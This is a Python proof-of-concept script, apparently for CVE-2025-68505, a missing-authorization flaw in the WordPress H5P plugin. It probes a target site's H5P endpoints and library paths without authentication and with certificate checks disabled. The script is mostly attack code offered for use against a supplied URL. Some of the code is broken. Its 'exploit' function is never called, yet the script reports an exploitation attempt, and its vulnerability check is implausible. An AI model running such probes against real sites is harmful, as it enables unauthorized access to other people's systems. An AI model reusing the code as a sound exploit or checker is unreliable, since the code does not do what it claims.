CVE-2025-68505

# CVE-2025-68505 PoC - WordPress H5P Missing Authorization # Target: WordPress site with H5P plugin <= 1.16.1 # This PoC demonstrates accessing protected H5P endpoints without authorization import requests import sys def check_vulnerability(target_url): """ Check if target WordPress site is vulnerable to CVE-2025-68505 """ vulnerabilities = [] # Common H5P endpoints that might be accessible without authorization endpoints = [ "/wp-content/plugins/h5p/h5p-ajax.php", "/wp-content/plugins/h5p/libraries/H5P.Question-1.5/scripts/h5p-question.js", "/wp-admin/admin-ajax.php?action=h5p_get_library_details", "/wp-json/h5p/v1/" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, headers=headers, timeout=10, verify=False) # If we get a 200 response instead of 401/403, endpoint might be accessible if response.status_code == 200 and 'wordpress' in response.text.lower(): vulnerabilities.append(f"Potentially vulnerable endpoint: {url}") except requests.RequestException as e: pass return vulnerabilities def exploit_h5p_access_control(target_url): """ Attempt to access H5P content without proper authorization """ results = [] # Try to access H5P library files library_paths = [ "/wp-content/uploads/h5p/libraries/", "/wp-content/plugins/h5p/library.json" ] for path in library_paths: url = target_url.rstrip('/') + path try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: results.append(f"Accessible: {url}") except: pass return results if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-68505-poc.py <target_url>") print("Example: python cve-2025-68505-poc.py http://example.com") sys.exit(1) target = sys.argv[1] print(f"[*] Checking target: {target}") print(f"[*] Testing CVE-2025-68505 - H5P Missing Authorization\n") vulns = check_vulnerability(target) if vulns: print("[+] Potential vulnerabilities found:") for v in vulns: print(f" - {v}") else: print("[-] No obvious vulnerabilities detected") print("\n[*] Exploitation attempt completed") print("[*] Recommendation: Update H5P plugin to version > 1.16.1")

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